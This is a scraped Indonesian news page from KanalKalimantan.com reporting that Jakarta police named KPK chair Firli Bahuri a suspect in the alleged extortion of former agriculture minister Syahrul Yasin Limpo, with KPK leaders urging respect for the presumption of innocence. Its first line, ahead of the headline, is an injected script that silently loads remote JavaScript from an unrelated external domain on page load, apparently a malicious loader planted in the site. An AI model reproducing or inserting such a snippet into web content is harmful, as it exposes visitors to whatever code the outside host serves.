(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Firli Bahuri Resmi Tersangka, Pimpinan KPK Tekankan Asas Praduga Tak Bersalah


KANALKALIMANTAN.COM, JAKARTA – Polda Metro Jaya resmi menetapkan Ketua KPK, Firli Bahuri sebagai tersangka kasus dugaan pemerasan terhadap eks Menteri Pertanian (Mentan), Syahrul Yasin Limpo (SYL).

“Menetapkan Saudara FB selaku Ketua KPK RI sebagai tersangka,” ujar Dirreskrimsus Polda Metro Jaya Kombes Pol Ade Safri Simanjuntak kepada wartawan, Rabu (22/11/2023) malam.

Ade menambahkan, saat ini pihaknya telah memeriksa 91 saksi terkait kasus tersebut. Firli juga bakal kembali diperiksa sebagai tersangka.

Sebelumnya, kasus dugaan pemerasan pimpinan KPK terhadap mantan Menteri Pertanian (Mentan) Syahrul Yasin Limpo (SYL) telah memasuki tahap penyidikan.

Baca juga: Mantan Kabid Disdik HSU Terjerat Korupsi, ‘Kumpulkan’ Uang dari Proyek DAK SD

Proses penyidikan dilakukan seusai pihak kepolisian melakukan gelar perkara 6 Oktober 2023 lalu.

Hingga saat ini, 91 saksi telah diperiksa terkait kasus tersebut. Mulai dari Firli Bahuri, ajudan Firli Bahuri, pegawai KPK, Kementan hingga Kapolrestabes Semarang Kombes Irwan Anwar. Selain itu sejumlah saksi ahli yakni Saut Situmorang dan M Jasin maupun pakar mikro ekspresi juga telah diperiksa.

Pimpinan Komisi Pemberantasan Korupsi (KPK) menekankan pentingnya untuk taat terhadap asas praduga tak bersalah.

Pernyataan ini disampaikan seusai Ketua KPK Firli Bahuri ditetapkan sebagai tersangka dalam kasus dugaan pemerasan terhadap mantan Menteri Pertanian (Mentan) Syahrul Yasin Limpo atau SYL.

Baca juga: Masuk 10 Besar, Kontingen Kalsel Sabet 42 Medali Pomnas XVIII 2023

“Kita harus taat dengan asas hukum,” kata Wakil Ketua KPK Johanis Tanak, di Jakarta, Kamis (23/11/2023).

Ditegaskan Tanak, setiap orang masih dianggap tidak bersalah selama belum ada putusan pengadilan yang berkekuatan hukum tetap.

“Setiap orang harus menghormati proses hukum,” tegas Tanak.

Firli Bahuri diketahui telah resmi ditetapkan sebagai tersangka kasus dugaan pemerasan terhadap SYL. Sementara itu, SYL saat ini juga telah ditahan oleh KPK terkait dugaan korupsi di lingkungan Kementan. (Kanalkalimantan/Beritasatu.com/kk)

Editor : kk


Risa

Recent Posts

Upayakan Kawasan Kubah yang Rapi dan Tertata, Pemkab Banjar Berdialog dengan Puluhan Pedagang

KANALKALIMANTAN.COM, MARTAPURA - Guna memberikan kenyamanan kepada peziarah dan kebersihan serta kerapian lingkungan di kawasan… Read More

11 menit ago

PUPR Kalsel Gelar Sosialisasi Jakstrada Bersama Perwakilan 13 Kabupaten dan Kota

KANALKALIMANTAN.COM, BANJARBARU - Sosialisasi Kebijakan dan Strategi Daerah (Jakstrada) Tahun 2026 bertema “Kolaborasi Pengelolaan Sanitasi… Read More

2 jam ago

Bupati Banjar Terima Kunjungan Manajer BSI Kalselteng

KANALKALIMANTAN.COM, MARTAPURA – Jajaran Bank Syariah Indonesia (BSI) Cabang Martapura melakukan audiensi ke Bupati Banjar… Read More

3 jam ago

Cemari Lingkungan, Komisi III DPRD Banjarbaru Cek SPPG ‘Merah’

KANALKALIMANTAN.COM, BANJARBARU - Komisi III DPRD Banjarbaru meninjau Satuan Pemenuhan Pelayanan Gizi (SPPG) yang diduga… Read More

3 jam ago

‎TPA Al Ikhlas Dapat Sentuhan Satgas TMMD Kodim 1001

KANALKALIMANTAI.COM, AMUNTAI – Taman Pendidikan Al Qur’an (TPA) Al Ikhlas Desa Hambuku Hulu, Kecamatan Sungai… Read More

4 jam ago

Nenek Jumiati Haru Rumah Tinggalnya Diperbaiki TNI

KANALKALIMANTAN.COM, AMUNTAI - Nenek Jumiati, warga Desa Hambuku Hulu, Kecamatan Sungai Pandan, Kabupaten Hulu Sungai… Read More

5 jam ago

This website uses cookies.